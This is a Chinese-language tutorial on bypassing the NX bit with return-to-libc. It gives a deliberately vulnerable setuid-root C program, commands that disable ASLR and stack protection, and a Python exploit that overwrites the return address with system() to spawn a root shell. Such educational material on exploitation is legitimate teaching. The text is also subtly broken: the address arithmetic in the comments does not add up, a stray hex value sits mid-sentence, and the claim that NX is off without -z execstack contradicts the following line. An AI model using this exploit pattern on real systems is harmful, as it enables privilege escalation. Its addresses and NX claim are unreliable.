通过return-to-libc绕过NX-bit

前言

  • 读此文章之前建议先读一下这篇文章linux栈溢出学习笔记
  • 本次的测试环境是ubuntu14.04(X86).
  • 为了缓解攻击者的行为,专家们想出了一项缓解缓冲区溢出漏洞利用的措施叫做“NX Bit”.
  • 什么是NX(No-eXecute) Bit,wiki,它是一项让某个特定区域的内存代码变得不可执行不可修改的技术,例如,数据区域、栈空间和堆空间是不可执行的,代码区是不可写入的。当NX bit开启的时候,我们之前的缓冲区溢出利用将会失败,因为我们之前的shellcode会被复制到栈中然后我们的返回地址会被指向我们的shellcode从而执行我们的shellcode,但是自从栈中的代码不可以执行之后,我们的exploit会失败,但是这种缓解措施并不是一劳永逸的,这篇文章就将介绍如何绕过NX Bit!

    漏洞代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    //vuln.c
    #include <stdio.h>
    #include <string.h>
    int main(int argc, char* argv[]) {
    char buf[256]; /* [1] */
    strcpy(buf,argv[1]); /* [2] */
    printf("%s\n",buf); /* [3] */
    fflush(stdout); /* [4] */
    return 0;
    }

编译指令

1
2
3
4
5
#echo 0 > /proc/sys/kernel/randomize_va_space
$gcc -g -fno-stack-protector -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln
  • 需要注意的是 当参数-z execstack 没有传入(默认没有)的时候,我们的NX bit是没有开起来的
    我们可以通过readelf -l 命令来查看一下
  • 可以看到栈空间只有RW的标志而没有E的标志。

    如何绕过

  • 攻击者可以使用“return-to-libc”的技巧来绕过NX bit,这里返回地址被一个特定的libc的函数地址所覆盖(而不是包含shellcode的栈空间地址),例如如果攻击者想要去得到一个shell,他可以使用system()函数的地址去覆盖返回函数的地址,同时在栈中设置system需要的合适参数来供其成功的调用。
  • 漏洞利用代码如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    #!/usr/bin/env python
    import struct
    from subprocess import call
    #Since ALSR is disabled, libc base address would remain constant and hence we can easily find the function address we want by adding the offset to it.
    #For example system address = libc base address + system offset
    #where
    #libc base address = 0xb7e22000 (Constant address, it can also be obtained from cat /proc//maps)
    #system offset = 0x0003f060 (obtained from "readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system")
    system = 0xb7e52310 #0xb7e2000+0x0003f060
    exit = 0xb7e45260 #0xb7e2000+0x00032be0
    #system_arg points to 'sh' substring of 'fflush' string.
    #To spawn a shell, system argument should be 'sh' and hence this is the reason for adding line [4] in vuln.c.
    #But incase there is0xb754b260 no 'sh' in vulnerable binary, we can take the other approach of pushing 'sh' string at the end of user input!!
    system_arg = 0xb7ffee11 #(obtained from hexdump output of the binary)
    #endianess conversion
    def conv(num):
    return struct.pack("<I",num)
    buf = "A" * 268
    buf += conv(system)
    buf += conv(exit)
    buf += conv(system_arg)
    print "Calling vulnerable program"
    call(["./vuln", buf])
  • 关于system和exit以及sh的查找可以使用如下的方法

  • 最后执行上面的利用代码可以得到我们想要的shell,如下图

    reference

    Bypassing NX bit using return-to-libc